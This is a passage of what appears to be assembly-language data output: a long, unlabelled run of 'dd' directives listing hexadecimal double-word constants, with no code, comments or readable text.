6408DF7Eh, 0DD438E80h, 8AA949C0h, 0C53CD5E8h dd 59C2F5AEh, 2FF444h, 0C357BE81h, 0F78E18C0h, 30D8D483h dd 0A4973E0h, 0BF00229Ah, 0CA17FFBBh, 1D854Fh, 2CC9EC27h dd 16EFDB34h, 0BE833508h, 0E13E988Bh, 8C05D50h, 9F53DD38h dd 0A3F628h, 0D8FE462Fh, 4B7D3F0Eh, 0A40C8374h, 0E951A98Ch dd 74738CE1h, 57C41A1Ch, 27F91E1h, 977B8F01h, 20A58EFAh dd 0D56F79F5h, 0A7D400B6h, 31EA7D94h, 8F388260h, 0DA91E756h dd 40FD5320h, 351F07EFh, 441E0795h, 9158B0D2h, 0E2533000h dd 2B0C1BAh, 321C002Ah, 0B9C087E9h, 820E8BD9h, 3848A7EDh dd 4C36B60h, 0C1574A58h, 0E4CF808Eh, 5C00E6C5h, 0CE420BFEh dd 4A63B106h, 2505E0EFh, 7F7A4300h, 506E3AFBh, 0F844F470h dd 0DCB009B3h, 0FA014B6Fh, 0F05505C4h, 0B900B2DAh, 0D4253A5Ah dd 6ED382DCh, 7C4129B3h, 0E435DD2Fh, 0D1DB773h, 8018719Bh dd 12DF021h, 35874C2Fh, 0F049CA52h, 770C2534h, 60BE30CFh dd 0F88EF4DDh, 1849E2ECh, 20A3101Bh, 6D80B9FCh, 0DC8F034Bh dd 4A79CAD6h, 0BE3B8806h, 5202C7Ch, 0EDBA8728h, 23502F34h dd 7D45008Bh, 0D95E6708h, 26082148h, 0C6055B31h, 2C111B7h dd 0DDE4987Ch, 0DFD6EC2Fh, 1F4B8399h, 0A1724FE7h, 1473E303h dd 0DB92F7D5h, 4E0930D2h, 727BAF21h, 0DDD6D300h, 0D5CBA827h dd 0DA0100A1h, 699AE445h, 0C0F48E41h, 53BA2E00h, 594EA450h dd 48A90021h, 37E80E7Dh, 0E97F2814h, 0CC57A000h, 36C450BCh dd 0A6C10E22h, 72E0919Fh, 0BEDDBDE7h, 5500E679h, 7D936B0Fh dd 1E27E25h, 87754D48h, 0D0B20B12h, 211A1ECEh, 15101964h dd 3968E004h, 28F865C9h, 77C73807h, 0E7506CE1h, 0B866219Ah dd 0E0EF90D0h, 136E00F6h, 0B92E8599h, 4600D380h, 38A53AF3h dd 794502h, 2F085524h, 6D5C5BFCh, 0D49F4103h, 0F8939E23h dd 5A0DC2h, 39CABD09h, 0AC7DED89h, 0F48BF700h, 0E2803A95h dd 5AEE00DEh, 0B663DF18h, 900EED99h, 0E00FE609h, 0BE68542Bh dd 4EA11D80h dd 0D81C77Dh, 3757A073h, 9D004A8Ch, 5CBC82D0h, 0FA6016h dd 77360730h, 3B352BF6h, 4B90DB03h, 0C05DA976h, 0B8373h dd 0C6B5753Fh, 71DFACFDh, 0BDB7D507h, 7310152Eh, 724FB31Fh dd 0F6B27DD0h, 89C400FBh, 6562A511h, 811D8234h, 3D4084DEh dd 54606663h, 0C1A40E98h, 3760E82Bh, 0E11B67B6h, 0ACE66D28h dd 1EE9C24Ch, 2380A082h, 0C1DDAA1Ah, 0A2A103B4h, 0DCF2C580h dd 0BB42100Bh, 86FA0081h, 382D751h, 71BE1ECAh, 4EF0C577h dd 0E4A8C6F4h, 7203FEEBh, 9C1AEF56h, 0F040074Ah, 5009D26Eh dd 41283997h, 0A00A6E6h, 0A1AC46AAh, 0CD9FCB8h, 0DCB42230h dd 38203E50h, 6CE465h, 55ED45B2h, 0B897EB21h, 0F9A60800h dd 69A0F6BCh, 5A9100D5h, 61E5B3E2h, 57008C88h, 0C004635Fh dd 0F5285Ch, 0A068FA29h, 3D9EAAF8h, 4F839601h, 0A8D21986h dd 0C397CCh, 93F65F1Ah, 74966920h, 405848h, 61D048B9h dd 5CEE4Bh, 42CE44E9h, 9FC6537h, 517C06F2h, 0D9C03092h dd 0BF6ACB9Eh, 0E7E10027h, 0CA59E917h, 0F1E664F4h, 7AA94503h dd 0EB7D50BDh, 80ADFA21h, 0A130FC9Ch, 0BA780107h, 6383F17Bh dd 62304008h, 1700B5D9h, 0A84CFF0Bh, 0E22E292h, 792788F3h dd 0EA5574A0h, 3A04B3E1h, 6D7BE3B8h, 0E0087607h, 0B648C33Dh dd 550602F2h, 0CA7C9D7Ah, 4A1F0079h, 73E7BA40h, 0DE00EC4Ch dd 0DFB79A4Eh, 24B15403h, 7B4DF1h, 0F80D36AFh, 0E33F5265h dd 0CFCE81B5h, 0A98F7E2Fh, 0A07C3C8h, 0D7E9C558h, 5F6400EDh dd 6CD13E96h, 34001890h, 2573B041h, 224EB452h, 0CD1E90CEh dd 23C12EFEh, 4B5A16ABh, 0D5A6F4h, 0FFA4E497h, 5BFE3B4Dh dd 0B27B4076h, 8E153Eh, 0AB36657Ah, 1DBA799h, 1E48441Bh dd 0C00E6CA2h, 0CB05377Ch, 28AC3A3Bh, 8B001085h, 6CB605F4h dd 61811CB4h, 213E0635h, 0DE0051DAh, 72A2453h, 37D705D1h dd 0C0200179h, 34777297h, 0B039A800h, 411C8088h, 685B1EAEh dd 0FDFA00EEh, 3FBEFBC4h, 37D72107h, 0B5806301h, 0A51B7Dh dd 0D6EE6DF1h, 57C2DC43h, 0FAB7D91Fh, 0D7693BC0h, 0C8AA13h dd 0BDA2976Bh, 7E63F460h, 9D7C4F3Bh, 51C0896h, 0A6492740h dd 1875F11h, 93B4AE10h, 53250FE1h, 50A8E6E4h, 5B58CAF5h dd 53D402BFh, 0E24667A7h, 2F8800D9h, 904231DFh, 0F47200F7h dd 1F051847h, 90EA3C74h, 3A1C9490h, 360098F0h, 201AB47Eh dd 0A74214F6h, 9300C0FFh, 0C2EFF78Ch, 0FE0197A5h, 0B810E7B0h dd 40D1D967h, 765B2E0h, 0A30C0A51h, 314BE02Ch, 5400FD5Dh dd 1B3E6E52h, 0B2AACE9Fh, 35090024h, 14834362h, 0A8000873h dd 5DFF396Dh, 90EEA07h, 94B94129h, 1791A003h, 80C8113Fh dd 1577EE2Dh, 3ACDCE2Bh, 0C10099BBh, 4B092E34h, 0A2F447EAh dd 808CFA51h, 4642AC68h, 98C8CF0Ah, 7C449048h, 0B04E7EA8h dd 0BABB1F3Ch, 0AA21000Dh, 0D032A95Fh, 0AFD75E00h, 0F7EAA682h dd 0B9190052h, 0AC9B3579h, 9E046C45h, 9480D5A2h, 0E7A8FDC0h dd 0B4BC0001h, 0CC3AF668h, 980040ECh, 46D77928h, 0DD4B53h dd 22C55E7Eh, 45575CFh, 0E594B100h, 0E021932Ch, 875B006Dh dd 83DE8AE3h, 9A05FB2Ah, 2AC4B23h, 0EDC0D85Dh, 0DFAF7DFCh dd 0AA0C00BBh, 973132DBh, 801B24Bh, 9F960F48h, 0B4F456B7h dd 0AB7A0302h, 93621933h, 0EEB757FBh, 35562780h, 0F8003BD8h dd 991BD0B5h, 486DCD39h, 0A700961Ah, 8072E6C3h, 9A001234h dd 85173292h, 78506699h, 486A0002h, 576F035Ah, 0A007D8D7h dd 33888A19h, 30FE5FB0h, 18089894h, 0CA214FDFh, 0AE716524h dd 0D8AF7801h, 0EF4DF7CBh, 1FDC3230h, 0C0D3BED5h, 37B5FD55h dd 0ED0032C7h, 88DA1A36h, 0CD07A30h, 57B356E2h, 0E9006030h dd 28A07355h, 0A1E6F1h, 75A4F7D6h, 99E093B0h, 4191800h dd 49480159h, 3BA326B6h, 796E0E85h, 0C6845F23h, 6F78D5E9h dd 0B285A0h, 5D17ABBCh, 0BD4F58F9h, 0ECB1340Bh, 93B02E5Bh dd 0B8E84C30h, 0B56807F2h, 8151DF05h, 0D789BD16h, 0C64377C0h dd 9BC7405h, 6CD0CFFEh, 0F137D586h, 922257E8h, 0AE4A00E4h dd 0D025447Eh, 321E4605h, 0C78164D6h, 0D8BA9A1Eh, 0B7F5D4h dd 0BB8DC5C2h, 0A65FC87Eh, 39D15C00h, 0E9EB3086h, 0A0BA04h dd 5A68588Ah, 31D1AE1Dh, 81D808CEh, 0C92F106Ah, 624E898Eh dd 2596EAC0h, 27F823C6h, 6E38EB74h, 0C46FAE8Eh, 8057E589h dd 0ED259039h, 4C8060B8h, 0A5FF44F5h, 0E9AC510Eh, 5E24606Bh dd 0C09D2D0Bh, 78A06439h, 85007BB9h, 4E2C552Bh, 0C168318Eh dd 25A92321h, 59BE32Dh, 0C0ECB906h, 41C533h, 227E6020h dd 0AEA8868Eh, 996C4107h, 749E5D89h, 0B83D3050h, 10BD2262h dd 1F64CE04h, 861F243Bh, 66468980h, 0C82A99h, 1760576Eh dd 106CFF61h, 9049F107h, 3510B3E8h, 0BB0442h, 696BBA2Fh dd 623D0EE9h, 3152BE01h, 0EFBF8BA7h, 62692E4h, 28A92FE3h dd 0FB2028FEh, 0C6F10009h, 3D48B3Ah, 0CD009242h, 7DA91434h dd 2E96E1Ah, 0BE5DCC52h, 0E3020D7Eh, 0EA20218h, 23BEC02h dd 0E502DA87h, 1EE0020Ch, 5A834107h, 6FF90094h, 0A8285644h dd 4200CFFBh, 4ABF2F01h, 239D5E0h, 5B8A6147h, 96C0EBC5h dd 1D06F73Bh, 0D7746D88h, 45613840h, 52FEBC54h, 0CA00A8B8h dd 5E3F3CA9h, 85735C65h, 2D05EBF8h, 2360FB83h, 924AC4D0h dd 63071D1Bh, 4E58C0DCh, 0C6EE471Dh, 393F7302h, 4412E0EFh dd 0BDFA04h, 0CC24496Ah, 2D13950Eh, 5992A5Ch, 7923F2F5h dd 0EA500C8h, 785D54EBh, 8AFED241h, 3BA4707Dh, 0E1209C00h dd 17014610h, 0B0E37B7Ah, 0AC260039h, 23FDE889h, 0A1C08784h dd 0CC30C4D2h, 51D518B0h, 790DE901h, 297A9F00h, 0EC87DD6Fh dd 0C0837FB0h, 401DEDA9h, 0C1007E25h, 99E228CAh, 0EF3EF9h dd 0F85DC0CDh, 0BB71B27Fh, 921EC800h, 37AD2C49h, 85B93CBAh dd 90BE3383h, 8FA73023h, 0EFAC420h, 0D8004CAFh, 165B3635h dd 89CF49h, 5A5CBD01h, 32E385A6h, 39082C60h, 0E8FAD4BEh dd 3D0D3049h, 0B8C0D249h, 27E020C0h, 902C86h, 3707992Bh dd 64E430F4h, 54E29F0Dh, 1C008060h, 83E41h, 847FAEA1h dd 6EFCF43Bh, 62D4C3Ah, 91977C9Bh, 55EF185Eh, 71938143h dd 0DF9589C0h, 1EDC8144h, 4068C472h, 7417C62Dh, 53740BB1h dd 0AD8AA319h, 0CDBF138h, 8792D908h, 0BA004241h, 1A156DD3h dd 13CE7B2h, 63FC4402h, 80B0FB24h, 507AB471h, 6F345720h dd 8054C05Ah, 49929318h, 500D21Fh, 0ADC72409h, 35E885BBh dd 8341B26Bh, 2862F0E6h, 2CB8B318h, 84A1FF10h, 48E09025h dd 1C808C88h, 1DA77066h, 569200F2h, 0E64E04EDh, 0C128EE6Ch dd 12230B6h, 25A1C0FAh, 0A90BAB79h, 1A1E3A0Ah, 0BA1480AAh dd 30803038h, 0C34D9AA2h, 0CDF8E339h, 4F6F5100h, 0AA64E214h dd 0DFCC0D99h, 0BF388B4Dh, 0D94430h, 0C8A11B17h, 45C484FDh dd 715487EEh, 0C32E3ECh, 99D8F0B5h, 2A1183DCh, 9707CC70h dd 6EE60600h, 0E808CF9Eh, 91E70FD2h, 0FB86A557h, 970039B3h dd 0BE08511Fh, 0ED09DF4Fh, 6A488181h, 0D4F7CEABh, 79C05DD2h dd 86F952BFh, 0D3170370h, 2C13CF28h, 864F051h, 0B06FE884h dd 140C14A0h, 82E83632h, 88477A9Ah, 7FBAA074h, 6A003C91h dd 63DA5879h, 6C5C004Ah, 370D3332h, 0C800F013h, 759120A8h dd 11C6B8Ch, 59EEBC31h, 109F353Dh, 0A0D35A25h, 907FA9A0h dd 0ECD224CCh, 0C5E9800Ch, 82C6954Ch, 0E4DE9C00h, 0DD51E2B5h dd 90191801h, 697B3A92h dd 0F054A490h, 250931E0h, 2320D8B6h, 0F8748100h, 0C3D31895h dd 44E7FF60h, 0FB00F17Dh, 0C7BB84CBh, 1E38F80Bh, 0A451C8h dd 705DCF99h, 0B493FA6Ah, 0D7C0871Eh, 6582DDA3h, 0B8240731h dd 8094FB89h, 73A14C8Ah, 942F1228h, 0A4A63271h, 0C957042h dd 0F454432Dh, 0F2902931h, 4BBCC980h, 0CB8C077Bh, 0D12AC2E4h dd 46008CEAh, 2CB44823h, 0C359B720h, 61689AE8h, 4BF8211Bh dd 0BFCFC1E1h, 16BDF4h, 77AF933Dh, 0BEB2EA45h, 0A42C2715h dd 443B3AF8h, 49109180h, 74119409h, 0C93188A2h, 5025809Eh dd 3C9080C1h, 0B9037892h, 7EEF02FBh, 0EBB688AEh, 9A27015Eh dd 2CC5DF10h, 0D2C45343h, 7306B1EEh, 0E87ED135h, 0C1430110h dd 8809AF7h, 34A4511Bh, 0F625108Dh, 0C5387CC9h, 9FB4811h dd 1C91F858h, 0E8AF701Ah, 20158A00h, 62F6B08Bh, 5E130DFh dd 81241EC8h, 9A64B40Ah, 0DA40CC4Eh, 48E8486Eh, 0A78988DDh dd 0B009494h, 56622BD0h, 1E0A119h, 0C007D229h, 800D4C0Eh dd 3A33D9B1h, 0C673AC7Ah, 419A93A1h, 123E9C00h, 335B0D6Fh dd 6360075h, 0D33F9B82h, 989AB8D8h, 221E4744h, 3128F2B2h dd 9B099A73h, 8BBDA4F7h, 9DE026Ch, 0F828482Fh, 9439C1B7h dd 0C99731E8h, 0AE60243Eh, 0D01388h, 4475B2F5h, 66347048h dd 0C288F44Ch, 0A332C539h, 0F8E16088h, 1864472h, 0CA5DD0CBh dd 34F48E17h, 0BD48D948h, 0BE44113Ch, 48B0B022h, 0CC56B909h dd 90502318h, 0DBC907E5h, 50216C76h, 0E320B3Fh, 61405C09h dd 0F0E087F9h, 0D0FF8148h, 81CD0548h, 9DB35111h, 0D0337356h dd 0C3579E01h, 70D3F66Dh, 74265CA2h, 0E89D248Ch, 315894ECh dd 744D03EDh, 35E907AEh, 0FA423AE0h, 72BC1900h, 2A777B27h dd 17E1C0B8h, 0D81BC405h, 0D3639A18h, 1F0FB019h, 52FB3AF8h dd 90984625h, 3F07A9E8h, 83BA8D91h, 0FC8A7BF0h, 0AA573C27h dd 0C13D7059h, 368BE101h, 420748D3h, 2CC9CB78h, 825D24Eh dd 0E830CC12h, 0DBEA1Dh, 30360D15h, 0C796FB97h, 24871E80h dd 9840F6B8h, 0FB43380Dh, 2C7594A4h, 740014FEh, 952107F9h dd 35C9FD6Ah, 9920CF33h, 5965F884h, 0A7A1861Dh, 0F7670949h dd 0FC209F00h, 2E1233CDh, 384815D9h, 9DB180AFh, 0A0BB7329h dd 788B4A3Fh, 499BE419h, 0A08E1AC9h, 4E86050Eh, 1649D169h dd 22A8585Ch, 0EF902A83h, 0B0610E88h, 3B000BCDh, 3A788F21h dd 6777EE08h, 46D20C5Ch, 8300DC49h, 9AEA7C39h, 4C0C49FDh dd 87885450h, 59E4908Ch, 0B00F032Ah, 97BAA00Ah, 0BCA2A1BAh dd 0F82A3269h, 56009F11h, 11F1DAD1h, 2C927E66h, 90B35F22h dd 21790224h, 0FF6A6746h, 0C184C08Ah, 0FC53C7F3h, 0E82E98E5h dd 0C8AB6CC1h, 7EFE1F00h, 391C86F1h, 2E166C56h, 0F90C2023h dd 0FB4C2BEFh, 8BC280E8h, 469BFAh, 0E93474EDh, 61BA19FDh dd 0B7CECA0Bh, 0D4081113h, 3D00E423h, 583B3C82h, 0CB019866h dd 5A8861C3h, 0B0322428h, 0D4A6B522h, 98D59900h, 0C83DBB0Bh dd 0D2102676h, 600426FBh, 0F723E1D9h, 3F09437Fh, 0A0A35BBBh dd 6F221E78h, 0AA182C50h, 3359C048h, 2F07308Ah, 0C767D562h dd 0A1B7F470h, 7E2005A6h, 0C9688732h, 0A83EDCACh, 0D92599CCh dd 8CFA4D1Dh, 0D5D648C0h, 0E62A7368h, 9B0F60FCh, 809906C5h dd 0ED147F7h, 0ACC90140h, 200A1643h, 0CB44645Bh, 1E400494h dd 8B5CEF0Fh, 6F8703C0h, 8B01BCB1h, 0D8FBB33Ah, 0BC608025h dd 5FA801E2h, 4A7F67F0h, 24804861h, 38966B0Ah, 0B409CD45h dd 1D4841A8h, 13AA058h, 0CA286B75h, 28B2EFB6h, 0E1128864h dd 8AD1729Ah, 8C303289h, 0E464A153h, 6077CC73h, 0B6E8D4C6h dd 207EFCB3h, 0FD2B8300h, 0A20BB406h, 8CF029F8h, 5F2C8098h dd 27674D64h, 4E1EC6B8h, 22968242h, 2065D822h, 6275D7FBh dd 0BAA854C0h, 0DDAFF5h, 3CBF9CE8h, 74BCB97Bh, 686AEF2Ah dd 0B1CC1322h, 0CE133A00h, 109C3079h, 0D1E8F87h, 48CE89D5h dd 8E6DA2D9h, 3D188142h, 0E180863Bh, 2F9BBF3Fh, 0DB04BB40h dd 0F5A0B46h, 9FB39C90h, 97D90211h, 696B3FFCh, 38324448h dd 802520A0h, 889C1F58h, 129C41B3h, 92E6704Ah, 0A8058D26h dd 20E14E8h, 9D6EC0DBh, 5233DCD5h, 501FCEBh, 628C0DD4h dd 433EFh, 0E56D122h, 2259B2ADh, 0D5034BFBh, 0B07DECC8h dd 0FBD8FBC9h, 8C4FF8BFh, 749916F4h, 0D4B42175h, 0D1F4522Dh dd 0CF0008C4h, 8795EB74h, 0E078E75Bh, 6C70E77Fh, 0E4A30B42h dd 2030B9D0h, 75FE5823h, 0CB43200h, 0C331E648h, 60A0B9FAh dd 8C95EA63h, 7F29DF00h, 0F4315FD2h, 75B83492h, 49FCA031h dd 90F70520h, 65C64B8Ch, 0B9904324h, 193BAEE7h, 0D66F8055h dd 9440A0E8h, 47CD174Eh, 99C2124h, 18839ADh, 4F997A43h dd 0AEFC5E6Bh, 5AD600FDh, 0B77C4B22h, 861E72FEh, 3D5D97C9h dd 0C508110h, 0BDF529BBh, 21AD12C8h, 0E8210630h, 610EDA24h dd 41A45063h, 705BAB7Eh, 12C7F460h, 214AFEF7h, 8EB63B8h dd 90824438h, 89A13E60h, 952563h, 0FAB6D0Ah, 0EB98D201h dd 412FC903h, 81FBDEC1h, 9072D34Ah, 7D2A0500h, 10FE2C9Dh dd 3EEB3D01h, 3332EC37h, 0DE016829h, 61CE4B4h, 0E87C242Ch dd 20ACB252h, 46F830A3h, 64EAEE11h, 8B7A2500h, 0CD31AB81h dd 0B4D10F2Eh, 138F296Fh, 0BB89EF8Fh, 0FD9B8C20h, 5F729AD0h dd 0B9958022h, 68EF011Ch, 38AC6187h, 0B3B9C410h, 0F94C0952h dd 6892D8C6h, 0B0B101F8h, 4C724300h, 60D825Ah, 0D9832EC4h dd 0FF0019B9h, 0F4B03235h, 0C9185A48h, 0A8C8C2D8h, 1988B8EAh dd 22EF1225h, 76A0929Fh, 0CD52CE20h, 0C4CCF523h, 3C32006Bh dd 402C4AA6h, 661209E8h, 5CC8FB67h, 5D713A9Ah, 84452F44h dd 8A47F830h, 0C1EBEC26h, 0C7780F00h, 0A49C6ECDh, 9135B008h dd 0B11100h, 0F874AF54h, 0E88A8650h, 7C19C04Ah, 52C53304h dd 0F8EE223Fh, 67B2700h, 4E1DB6BAh, 9F3C04F9h, 0C8DECDF1h dd 3A007ADCh, 7FC2E2E7h, 1237D719h, 37E92B65h, 82AEA0F4h dd 4203ECB2h, 20DEB031h, 0E0416428h, 0C0E4504Fh, 0BA3C1CACh dd 3AF9C46Ch, 20085271h, 0C4088033h, 8893A130h, 550583FCh dd 4C460E53h, 9BF5E489h, 0D22F3980h, 0E2D7C095h, 0A5F82600h dd 6A48D0D4h, 3CB125A4h, 11B8840Ah, 409700E4h, 1722AEEBh dd 14D07EF6h, 5C424C75h, 28904D1Ah, 57002873h, 0B9B49D76h dd 0FE60007Ah, 69DF1BB6h, 33008036h, 13484F0Fh, 944C9AA5h dd 2974A424h, 0ED546A48h, 22E848F8h, 7A177D12h, 2FDDC300h dd 0A04A1A1Ch, 0A3FECD4h, 0BD655079h, 0DF7A0454h, 208C22B8h dd 4077B0FCh, 0E2341B00h, 0EB1C411Dh, 0EFDD396Bh, 0A4393164h dd 4884908h, 0B74200B3h, 615B6BE4h, 0BE09110Dh, 13182C6Fh dd 1B58BB84h, 393132D9h, 805A24E7h, 0C6CC94A0h, 5CD08251h dd 33411EC8h, 98FC2885h, 0E88C437Eh, 490C39B3h, 31E70749h dd 0A9EE60D2h, 0ABFE4319h, 2EB49F0Fh, 0D5B7605Ch, 59ED0Bh dd 0F4176392h, 16D85025h, 908CFCB4h, 92849E6h, 1C3FFB3Eh dd 9561890Eh, 28AA2167h, 5C09F0C0h, 0B0B201C7h, 8346A375h dd 0C03C2862h, 0CD023E0Ah, 4EF601ACh, 84C15082h, 20F00658h dd 0C8A13016h, 0B0DE1046h, 7FD501E8h, 0EF3580B8h, 0F91160D3h dd 0DBE32B1Dh, 0E77DB040h, 58E848A2h, 9389CC6Bh, 46C40890h dd 0EBC71912h, 1DC36440h, 90A04CD0h, 60CC9C04h, 0EB672423h dd 704E9F15h, 41A94CD4h, 843974h, 0D8D971AFh, 0C36121h dd 0E225CE35h, 13A4898Fh dd 4CBE8424h, 0C820D292h, 0C988D7h, 0D6825E43h, 3CD0E82Bh dd 965A8F72h, 0ADF52441h, 0D940A7F6h, 24200102h, 40FCB9EFh dd 0D334C93Eh, 2C94193Ah, 0B40E8FBh, 7D46AAh, 0DF5C6041h dd 0FAC6F93h, 58669216h, 6CD12092h, 2B2A12C0h, 9468D81Ah dd 0AE0BAFF8h, 1CFA6B81h, 44CCA208h, 0F93C90E4h, 0B8CC1115h dd 0DF79D780h, 1B88917Bh, 88DC9CC1h, 9B44495Fh, 0E788B340h dd 1375E584h, 67DF5913h, 0C580E004h, 4A9888h, 636C8BACh dd 6975F1DEh, 197B90CBh, 660C2C00h, 0D1F4A28Ch, 909213D8h dd 37DC0148h, 5B0FF800h, 0B0DDC1D5h, 73B60012h, 4BE4F1C6h dd 84B44762h, 69488299h, 1B19D010h, 43D9A162h, 5FAC8022h dd 2C38F93Dh, 872C0B2Dh, 0C974E403h, 4E00D8C4h, 0C9360DF7h dd 192B3422h, 49C3F1CFh, 17840D2h, 160A75AFh, 88C898FDh dd 7100CC2Bh, 0D1E74305h, 10E40541h, 40E18802h, 2137FFF0h dd 0DD050E19h, 82950386h, 42707CC8h, 0B83A25D1h, 0C0E99034h dd 0E16CAD61h, 7F006545h, 0A69DC1E0h, 0B26563Bh, 0F950E715h dd 0DA90A044h, 0C144FCB6h, 0F3D48224h, 80DA852Fh, 28E33C85h dd 42D8161Dh, 0BA4E67C9h, 7E0F1C5Ah, 1670B43Fh, 5AB09Ch dd 8FD3BC56h, 69B897CDh, 361E641Fh, 0A278F145h, 0E50A0DCh dd 80DDBB42h, 0DFA0434Fh, 63FEC811h, 0FAF10301h, 30C7F22Ch dd 204EB033h, 71570450h, 96679900h, 6C4028B5h, 20D093Dh dd 8818B8E8h, 0C68A7A66h, 0A62C0014h, 0D241606Ah, 0AC07A5AFh dd 0C604BB7Bh, 0A4AE67B1h, 88961C7Ch, 5424BF94h, 0EC2E4D33h dd 0C5F9A5C0h, 5AAE0104h, 5466EAF0h, 22943995h, 0D21400E6h dd 0CEAF6A12h, 780409B7h, 729ABDF2h, 58025888h, 8D807091h dd 0E9F1BA68h, 5B50490Fh, 0CA811EB0h, 22A2011h, 6093F864h dd 4BA53187h, 3C00B02Eh, 0D960BAEEh, 4D959F26h, 54589CB7h dd 2FCB0C48h, 0A25E38CCh, 0ECA3300Bh, 998301C0h, 0DC97551h dd 0BF81FC70h, 0B828E8B1h, 4E9AF50Ah, 0F9092CDEh, 0E19463ABh dd 1982E865h, 0D1200BD9h, 0C700887Ah, 5C5B3C7Ch, 271E99Eh dd 779122E6h, 0ACC46F84h, 0A8910C42h, 6BD32A01h, 78F41B0Eh dd 9C304AE4h, 0ABA9E8h, 7B586E55h, 7E49C65h, 9B095F7Ah dd 48363D43h, 1218FEF4h, 21996324h, 0F25B77BCh, 7A486409h dd 0B4AA016Ah, 0F7825667h, 6112F2AEh, 702A4164h, 9774F028h dd 40324A0Fh, 0AB1AA02Fh, 0B14929Ch, 6AC24D0Fh, 39CCD706h dd 0AC98F700h, 8F3DD383h, 599026A7h, 0D21B96ECh, 9C90D208h dd 2A1D2B2Fh, 0A400AFA7h, 777DB199h, 5C9232F9h, 0C920B2B9h dd 9E622FFh, 0FD0773ACh, 0AAB374A0h, 0BC1384D5h, 820AD68h dd 12AB1652h, 20F410DAh, 5BF51E2Ch, 0E45AFAF3h, 0B3500F00h dd 112B959Dh, 0A7050C17h, 93214441h, 2D8060B4h, 0C03882CFh dd 8DFC00F3h, 77E1CBBh, 2C2580A2h, 50C84679h, 4C49585Fh dd 0C7C85005h, 4A34114Bh, 0EE461410h, 1AC4AD00h, 0B79F3FE2h dd 0B3C7989h, 9050C574h, 34E75810h, 8A00F97Eh, 9DD86675h dd 96B9D301h, 0AC956E78h, 241A0D04h, 0C252C481h, 3220DCC4h dd 975953E1h, 9D9B1430h, 5DEEFC00h, 4AA5E0BDh, 9CBF3A02h dd 0B9A05701h, 0E624565Eh, 18B0A84Ah, 1E8846D8h, 0E1EA60ADh dd 9BB8FFEEh, 0F35B1F00h, 0BADF82BFh, 54067DE0h, 9EA2B0D6h dd 4BE6C010h, 0CF4A5560h, 615B60CAh, 0FD6360B8h, 0D55170FAh dd 0BF22F600h, 5D7FE4FDh, 82D406C4h, 0F1AC14E8h, 0CC84D4Ah dd 0CC740B81h, 0D4465D3Dh, 5CBA5890h, 0B239D909h, 0FD3C1A23h dd 18D4F940h, 0C1A4A112h, 38F6280Dh, 2876FAF9h, 0D5313500h dd 0DB507406h, 3AE51912h, 44D840E4h, 8005E7BAh, 7486E97Dh dd 0B8C218B4h, 25CCB9B2h, 2A00104Ch, 0DBFFF4A2h, 0EEBBB3A9h dd 6EEC00D5h, 72662385h, 4D2FD715h, 5A98B071h, 0B5C112BEh dd 128F42Ch, 8448E648h, 0F5FB455h, 229FFA0Dh, 0C408C96h dd 26FF7CD0h, 9DCBE65Ch, 0C66240DAh, 16E1D742h, 4E870F48h dd 0DAA7D462h, 0F83C95B4h, 8B2FF02h, 64AD4582h, 4BAE000Ch dd 68331DD5h, 420015AAh, 0D384B120h, 0B85D307Fh, 1B140D8Eh dd 534917A0h, 0B5D2C244h, 1D1E6C98h, 0F4967A13h, 0E51AC021h dd 6B788C15h, 0A106C900h, 25B2CB11h, 60DC9C60h, 53C91FA8h dd 0B0EFF71Fh, 849BAD09h, 0E84F1564h, 81C0E272h, 6D29A9B9h dd 8F74C4h, 80368ABh, 4E0EA7F8h, 61770D31h, 4444649Ah dd 3AC16CF0h, 20CAA8DDh, 17D7DEE0h, 0D01CD500h, 6A6BB1AFh dd 5E5F25E4h, 465270EEh, 0E61F80E0h, 27479Dh, 40CB48F3h dd 3E70062Ah, 5DDA9A00h, 4D367C2Dh, 27089947h, 51D8BCA0h dd 0E01701ABh, 0C60B523h, 1D76EB0Ah, 0C214962Fh, 0FF0D772Ch dd 0B4F5B8A0h, 0EF025751h, 1B172863h, 0C75452DFh, 0BC6D8EEEh dd 7E7403E8h, 39E12E10h, 0EFD0C84Ah, 90952803h, 0A84BD9C6h dd 0F2A38A06h, 0B48903CFh, 0B6FF6ACEh, 634CF9B6h, 21450E68h dd 0C8588D3Dh, 0ADC09828h, 5EDFE949h, 3BEA6400h, 0C7539DFAh dd 3C5B3D73h, 40302925h, 8E00F234h, 0D971245Ch, 1CDA014h dd 0CED4F9FDh, 3AD11978h, 0E433C440h, 0F75CA03h, 4FCDD7BDh dd 882F8981h, 0A9D4D761h, 38D86900h, 0E82074h, 37F509EBh dd 7A4749B2h, 0B3B7FF04h, 7008FA12h, 3186C80h, 164EC111h dd 4834D4DFh, 5380A94Ch, 448A091Eh, 22A34C7Dh, 0EB744209h dd 7805DCECh, 0AF07AC50h, 3284DCh, 0F3017E2Ch, 5CC716A7h dd 8BCCB13h, 24CCEC22h, 21B4A349h, 0E62888C4h, 0CCE2B345h dd 0CB282E26h, 9F8968E0h, 0A02C9025h, 0AF7EB350h, 3DC60B19h dd 0ECEA6B24h, 0A45EA462h, 4F044C9h, 0EDBAB9ACh, 668741D3h dd 0C029B8D6h, 0A91A809Fh, 819EC9A8h, 0DA244B00h, 34AC7C21h dd 0B533068Fh, 4027563Fh, 5D4C644Ch, 2680DC10h, 4C3138FFh dd 81E6028Eh, 0AD1A7FB6h, 8FA0788Eh, 0FDC40479h, 0ECBFD505h dd 0BC738386h, 0D3AFC995h, 917074D6h, 82DC00A9h, 9821F702h dd 0BBB5038Eh, 0F5A458D4h, 25196BE8h, 0F7E87CA6h, 20BDA121h dd 3BF90098h, 0B31219B2h, 0FB4E5915h, 0EA4093h, 46631E7Ch dd 4E3CD643h, 55AE6200h, 0DAD4DC79h, 8C04976Dh, 0A030F829h dd 0F6A456F6h, 6ACC009Eh, 1E11993Fh, 0D41FB3DEh, 9967A2AFh dd 0E1D4A75Ch, 0C89302DBh, 0E87B9AB2h, 0FD00C894h, 0FC838766h dd 76936548h, 4D1C0073h, 0CC20D474h, 2A2FE8C8h, 36C8A27Eh dd 0C8AD2498h, 0D90025D8h, 4FE01A21h, 5FB8BA7h, 2B86E4CCh dd 1000B372h, 33815D65h, 0F26AEF30h, 60A59CD1h, 405DCFC0h dd 21C83055h, 0D0F89608h, 242369C8h, 3101B03Ah, 7C25602Fh dd 19096C50h, 3C4A3A73h, 1F7FE616h, 14B1400Ch, 155FA1D1h dd 0F67C770Ah, 0CA25D81Ch, 18B089E4h, 0B13DDDDCh, 0BCC8E1Ch dd 4580D1EEh, 0ADBBC73Ah, 1DBF743Fh, 0D353B7EFh, 0E1D1C4C0h dd 41EA17D9h, 0C7E89159h, 